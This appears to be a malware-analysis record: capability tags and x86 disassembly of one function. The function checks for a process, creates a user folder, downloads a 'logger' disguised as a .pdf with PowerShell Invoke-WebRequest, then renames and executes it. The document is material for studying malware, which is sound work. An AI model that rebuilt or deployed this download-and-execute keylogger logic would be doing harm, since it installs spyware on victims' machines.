Function at 0x40eb61
Capabilities:
Contain obfuscated stackstrings
Execute command
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6a8
mov dword [esp], str.powershell_Get_Process_WdiNisMon
call sym._system
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40ee1d
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_s
lea eax, [ebp - 0x35a]
mov dword [esp], eax
call sym._sprintf_14
mov dword [esp + 4], 0x443ba8
lea eax, [ebp - 0x35a]
mov dword [esp], eax
call sym._check_exist
test eax, eax
jne 0x40ec12
lea eax, [ebp - 0x35a]
mov dword [esp + 8], eax
mov dword [esp + 4], str.mkdir__s
lea eax, [ebp - 0x22e]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x22e]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40ec06
mov dword [esp], str.Created_folder
call sym._puts
jmp 0x40ec12
mov dword [esp], str.Creating_folder_failed
call sym._puts
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_s_s
lea eax, [ebp - 0x67a]
mov dword [esp], eax
call sym._sprintf_14
mov dword [esp], str.Logger_not_running
call sym._puts
lea eax, [ebp - 0x67a]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Test_Path__s__PathType_Leaf
lea eax, [ebp - 0x5b2]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x5b2]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40edd8
mov dword [esp + 4], 0x443c27
mov dword [esp], str.microsoft.com
call sym._get_http_headers
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x3a], 0x6f6d6962
mov dword [ebp - 0x36], 0x6c68746e
mov word [ebp - 0x32], 0x79
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
lea eax, [ebp - 0x3a]
mov dword [esp], eax
call sym._get_current_ip
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.http:___s_a44185s.pdf
lea eax, [ebp - 0x4ea]
mov dword [esp], eax
call sym._sprintf_14
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.C:Users_s_s_a44185s.pdf
lea eax, [ebp - 0x422]
mov dword [esp], eax
call sym._sprintf_14
lea eax, [ebp - 0x422]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x4ea]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell_Invoke_WebRequest__Uri___s___OutFile___s_
lea eax, [ebp - 0x22e]
mov dword [esp], eax
call sym._sprintf_14
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
lea eax, [ebp - 0x22e]
mov dword [esp], eax
call sym._system
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40ed72
mov dword [esp], str.__Download_logger_failed
call sym._puts
mov eax, 1
jmp 0x40ee2e
mov dword [esp + 4], 0x443ba8
mov eax, dword [ebp + 0x14]
mov dword [esp], eax
call sym._check_exist
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x40eda4
mov dword [esp], str.__Downloaded_logger_not_found
call sym._puts
mov eax, 1
jmp 0x40ee2e
lea eax, [ebp - 0x67a]
mov dword [esp + 4], eax
lea eax, [ebp - 0x422]
mov dword [esp], eax
call sym._rename
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40edd8
mov dword [esp], str.__Rename_logger_failed
call sym._puts
mov eax, 1
jmp 0x40ee2e
lea eax, [ebp - 0x67a]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x30]
mov dword [esp + 4], eax
lea eax, [ebp - 0x67a]
mov dword [esp], eax
call sym._execve
cmp eax, 0xffffffff
jne 0x40ee29
mov dword [esp], str.execve
call sym._perror
mov eax, 1
jmp 0x40ee2e
mov dword [esp], str.Logger_running
call sym._puts
mov eax, 0
leave
ret